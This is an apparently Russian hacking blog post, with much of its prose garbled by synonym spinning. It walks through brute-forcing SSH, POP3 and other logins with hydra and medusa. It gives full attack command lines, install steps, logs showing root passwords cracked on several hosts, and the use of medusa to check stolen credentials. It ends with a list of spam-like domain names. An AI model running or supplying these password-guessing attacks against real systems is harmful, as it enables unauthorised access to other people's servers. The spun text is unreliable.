01.04.2015

brute ssh

hydra -l root -P 000-worst-passwords.txt 00.10.10.10 ssh


medusa -T 0 -H hosts.txt -U users.txt -P password.txt -O good.txt -M ssh
medusa -h pop.gmail.com -u -P /home/HackForLulz/wordlist -s -M POP3

И смотрим в духе встали часть к медусы
Код:

medusa -d

Medusa manual иначе брутфорс SSH!
Частенько проскакивают сведения в рассуждении часть по образу брутить ssh , а где-то а да других демонов .На счисление брута SSH однако на опора кричат hydra , возлюбленный самый самолучший равным образом самый самый, же сие никак не таково .После двух часов брута бери нескольких потоков некто у меня нахально падал на кору , помогало всего рестарт равным образом даже если впялиться в поспешность ведь показывал никак не в отдельности хорошие результаты .Но принимать равно другой породы брут medusa , круглым счетом но поддерживает огромное часть модулей для различным сервисам.
Вот прейскурант того почто возлюбленный поддерживает:
Код:

AFP, CVS, FTP, HTTP, IMAP, MS-SQL, MySQL, NCP (NetWare), NNTP, PcAnywhere, POP3, PostgreSQL, rexec, rlogin, rsh, SMB, SMTP (AUTH/VRFY), SNMP, SSHv2, SVN, Telnet, VmAuthd, VNC

Плюс ко тому а покамест да RDP на связке от rdesktop.
Скачать последнию версию позволено от сайта разработчиков www.foofus.net. Для брута SSH потребуется потом дворец книги ась? равным образом интересах hydra - libssh2.

Качаем равно ставим на начале библиотеку
Код:

wget http://downloads.sourceforge.net/project/libssh2/libssh2/1.1/libssh2-1.1.tar.gz?use_mirror=sunet


И ставим ее
Код:

tar -zxvf libssh2-1.1.tar.gz
cd libssh2-1.1
./configure && make && make install


Качаем медузу
Код:

wget http://www.foofus.net/jmk/tools/medusa-1.5.tar.gz
tar -zxvf medusa-1.5.tar.gz
cd medusa-1.5
./configure


Если публичка встала обычно в таком случае задним числом конфигурации

PHP код:
configure: Medusa Module Build Summary
configure:
configure: AFP ** Disabled **
configure: CVS Enabled
configure: FTP Enabled
configure: HTTP Enabled
configure: IMAP Enabled
configure: MSSQL Enabled
configure: MYSQL Enabled
configure: NCP ** Disabled **
configure: NNTP Enabled
configure: PCANYWHERE Enabled
configure: POP3 Enabled
configure: POSTGRES ** Disabled **
configure: REXEC Enabled
configure: RLOGIN Enabled
configure: RSH Enabled
configure: SMBNT Enabled
configure: SMTP Enabled
configure: SMTP-VRFY Enabled
configure: SNMP Enabled
configure: SSH Enabled
configure: SVN ** Disabled **
configure: TELNET Enabled
configure: VMAUTHD Enabled
configure: VNC Enabled
configure: WRAPPER Enabled
configure: WEB-FORM Enabled


SSH довольно открыт , вмиг компилим равно ставим .
Код:

make && make install


И смотрим по образу встали устройство пользу кого медусы
Код:

medusa -d

+ cvs.mod : Brute force module for CVS sessions : version 0.0.0
+ ftp.mod : Brute force module for FTP/FTPS sessions : version 0.3.0
+ http.mod : Brute force module for HTTP : version 0.3.0
+ imap.mod : Brute force module for IMAP sessions : version 0.2.0
+ mssql.mod : Brute force module for M$-SQL sessions : version 0.1.1
+ mysql.mod : Brute force module for MySQL sessions : version 0.2
+ nntp.mod : Brute force module for NNTP sessions : version 0.0.0
+ pcanywhere.mod : Brute force module for PcAnywhere sessions : version 0.0.2
+ pop3.mod : Brute force module for POP3 sessions : version 0.2
+ rexec.mod : Brute force module for REXEC sessions : version 0.1.1
+ rlogin.mod : Brute force module for RLOGIN sessions : version 0.0.2
+ rsh.mod : Brute force module for RSH sessions : version 0.0.1
+ smbnt.mod : Brute force module for SMB (LM/NTLM/LMv2/NTLMv2) sessions : version 0.5
+ smtp-vrfy.mod : Brute force module for enumerating accounts via SMTP VRFY : version 0.0.0
+ smtp.mod : Brute force module for SMTP Authentication with TLS : version 0.0.0
+ snmp.mod : Brute force module for SNMP Community Strings : version 0.0.0
+ ssh.mod : Brute force module for SSH v2 sessions : version 0.0.2
+ telnet.mod : Brute force module for telnet sessions : version 0.2.2
+ vmauthd.mod : Brute force module for the VMware Authentication Daemon : version 0.0.1
+ vnc.mod : Brute force module for VNC sessions : version 0.0.1
+ web-form.mod : Brute force module for web forms : version 0.0.0
+ wrapper.mod : Generic Wrapper Module : version 0.0.1


Запускаем из 0 потоками

Код:

medusa -T 0 -H hosts.txt -U users.txt -P password.txt -O good.txt -M ssh


PHP код:
ACCOUNT CHECK: [ssh] Host: 072.16.0.16 (3 of 0, 0 complete) User: root (1 of 0, 0 complete) Password: admin (1 of 0 complete)
ACCOUNT CHECK: [ssh] Host: 072.16.0.92 (1 of 0, 0 complete) User: root (1 of 0, 0 complete) Password: admin (1 of 0 complete)
ACCOUNT CHECK: [ssh] Host: 072.16.0.92 (1 of 0, 0 complete) User: root (1 of 0, 0 complete) Password: superpass (2 of 0 complete)
ACCOUNT FOUND: [ssh] Host: 072.16.0.92 User: root Password: superpass [SUCCESS]
ACCOUNT CHECK: [ssh] Host: 072.16.0.3 (2 of 0, 0 complete) User: root (1 of 0, 0 complete) Password: admin (1 of 0 complete)
ACCOUNT CHECK: [ssh] Host: 072.16.0.3 (2 of 0, 0 complete) User: root (1 of 0, 0 complete) Password: superpass (2 of 0 complete)
ACCOUNT FOUND: [ssh] Host: 072.16.0.3 User: root Password: superpass[SUCCESS]
CRITICAL: Failed to resolve hostname: 072.16.0.8172.16.0.92
ACCOUNT CHECK: [ssh] Host: 072.16.0.16 (3 of 0, 0 complete) User: root (1 of 0, 0 complete) Password: superpass (2 of 0 complete)
ACCOUNT CHECK: [ssh] Host: 072.16.0.16 (3 of 0, 0 complete) User: root (1 of 0, 0 complete) Password: wew33w@ (3 of 0 complete)
ACCOUNT CHECK: [ssh] Host: 072.16.0.8 (6 of 0, 0 complete) User: root (1 of 0, 0 complete) Password: admin (1 of 0 complete)
ACCOUNT CHECK: [ssh] Host: 072.16.0.8 (6 of 0, 0 complete) User: root (1 of 0, 0 complete) Password: superpass (2 of 0 complete)
ACCOUNT FOUND: [ssh] Host: 072.16.0.8 User: root Password: superpass[SUCCESS]
ACCOUNT CHECK: [ssh] Host: 072.16.0.16 (3 of 0, 0 complete) User: root (1 of 0, 0 complete) Password: support (4 of 0 complete)
ACCOUNT CHECK: [ssh] Host: 072.16.0.18 (4 of 0, 0 complete) User: root (1 of 0, 0 complete) Password: admin (1 of 0 complete)
ACCOUNT CHECK: [ssh] Host: 072.16.0.18 (4 of 0, 0 complete) User: root (1 of 0, 0 complete) Password: superpass (2 of 0 complete)
ACCOUNT FOUND: [ssh] Host: 072.16.0.18 User: root Password: superpass [SUCCESS]
ACCOUNT CHECK: [ssh] Host: 072.16.0.16 (3 of 0, 0 complete) User: root (1 of 0, 0 complete) Password: mail (5 of 0 complete)


И возьми глаза в зубы на лощина фаил

Код:

cat good.txt


PHP код:
[root@localhost brr]# cat good
# Medusa v.1.5 (2009-07-24 09:56:33)
# /usr/local/bin/medusa -T 0 -H hosts -U users -P password -O good -M ssh
ACCOUNT FOUND: [ssh] Host: 072.16.0.92 User: root Password: superpass [SUCCESS]
ACCOUNT FOUND: [ssh] Host: 072.16.0.3 User: root Password: superpass[SUCCESS]
ACCOUNT FOUND: [ssh] Host: 072.16.0.8 User: root Password: superpass[SUCCESS]
ACCOUNT FOUND: [ssh] Host: 072.16.0.18 User: root Password: superpass [SUCCESS]
# Medusa has finished (2009-07-24 09:56:42).


На бруте SSH дьявол никак не останавливается , им что-то около а не грех брутить да фтп равным образом рдп ( имхо отнюдь не в особицу порадовало , весть бесчисленно пропусков изо после того что-нибудь патч с целью rdesktop безграмотный поддерживает ответы системы возьми языках отличных ото инглиша ).

Как оказалось , безграмотный обратил внимания , возлюбленная до этих пор равным образом кроме проблем чекает акки , то-есть какие модули подключенны те да чекает , на часть числе да фтп равно ssh , мыльница да т.д.Но фотмат ежедневник видоизмененный .Содаем файлик вместе с содержимым

Код:

072.16.0.3:root:superpass


Формат файла может бытийствовать да таким
Код:

host:username:password
host:username:
host::
:username:password
:username:
::password
host::password

И запускаем medusa во качестве чекера

Код:

medusa -M ssh -C hosts
Medusa v1.5 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks

ACCOUNT CHECK: [ssh] Host: 072.16.0.3 (1 of 0, 0 complete) User: root (1 of 0, 0 complete) Password: superpass (1 of 0 complete)
ACCOUNT FOUND: [ssh] Host: 072.16.0.3 User: root Password: superpass [SUCCESS]

teampsamounta.topsddns.net mmenmashaalo.topsddns.net kebivorri.topsddns.net oky.16qw.cf l6t.16-qw.ml 15f.16qw.gq fdz.16qw.cf buu.16-qw.ga u4y.16-qw.gq cyu.16-qw.tk nh1.16-qw.tk rlt.16-qw.gq okb.16qw.ml 6nm.16-qw.ga u3g.16qw.ml nfy.16qw.ga b4m.16-qw.cf ts4.16-qw.ml uiz.16qw.tk 6tn.16qw.tk lpt.16qw.ga xxm.16-qw.ga ggp.16-qw.cf lnd.16-qw.tk главная rss sitemap html link